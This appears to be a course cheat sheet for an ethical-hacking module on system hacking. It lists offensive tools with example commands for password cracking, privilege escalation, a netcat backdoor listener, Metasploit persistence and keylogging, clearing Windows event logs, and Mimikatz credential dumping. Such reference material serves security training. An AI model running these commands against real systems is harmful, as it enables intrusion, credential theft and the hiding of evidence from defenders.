# Module 6: System Hacking - Tools & Commands Cheat Sheet

## Password Cracking

* John the Ripper — Fast password cracker supporting many hash formats.

Example: john --wordlist=/path/to/wordlist.txt hashfile

* Hashcat — GPU-based password cracking tool.

Example: hashcat -m 0 -a 0 hash.txt wordlist.txt

* Hydra — Brute-force login cracker for various protocols.

Example: hydra -l admin -P passwords.txt ftp://192.168.1.10

## Privilege Escalation - Windows

* PowerUp — PowerShell script to detect Windows privilege escalation paths.

Example: powershell -ep bypass -Command "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

* WinPEAS — Windows privilege escalation enumeration script.

Example: winPEAS.exe

* Rubeus — Kerberos abuse tool for tickets and authentication.

Example: Rubeus.exe kerberoast

## Privilege Escalation - Linux

* LinPEAS — Linux privilege escalation enumeration script.

Example: ./linpeas.sh

* sudo exploitation — Check and exploit sudo misconfigurations.

Example: sudo -l

* Kernel Exploits — Exploit vulnerable Linux kernels for privilege escalation.

Example: ./exploit

## Maintaining Access

* Netcat — Simple backdoor listener.

Example: nc -lvnp 4444

* Metasploit persistence module — Establish persistent backdoor.

Example: use exploit/windows/local/persistence

* VNC — Remote desktop control utility.

Example: vncserver :1

## Covering Tracks

* Metasploit Timestomp — Change file timestamps.

Example: use post/windows/manage/timestomp

* Clear Windows Event Logs — Delete system logs to hide activities.

Example: wevtutil cl Security

* shred — Securely delete files in Linux.

Example: shred -u file.txt

## Keylogging & Screen Capture

* Metasploit keyscan — Log keystrokes via meterpreter.

Example: keyscan\_start / keyscan\_dump

* Metasploit screenshot — Capture victim's screen.

Example: screenshot

* Spyrix Free Keylogger — Windows keylogger tool.

Example: Run via GUI

## Active Directory Exploitation

* PowerView — PowerShell tool for AD enumeration.

Example: powershell -ep bypass -Command "Import-Module .\PowerView.ps1; Get-NetUser"

* BloodHound — AD enumeration and attack path visualization.

Example: bloodhound --no-sandbox

* Mimikatz — Dump credentials from memory.

Example: mimikatz.exe privilege::debug sekurlsa::logonpasswords

## Remote Access Tools

* TheefRat — Remote administration tool for Windows.
* NjRat — Remote access Trojan.
* VNC — Cross-platform remote desktop control.

## Post-Exploitation Frameworks

* Metasploit Framework — Post-exploitation modules and payloads.

Example: msfconsole

* Armitage — GUI for Metasploit framework.
* Empire — Post-exploitation framework for Windows and Linux.

Example: powershell-empire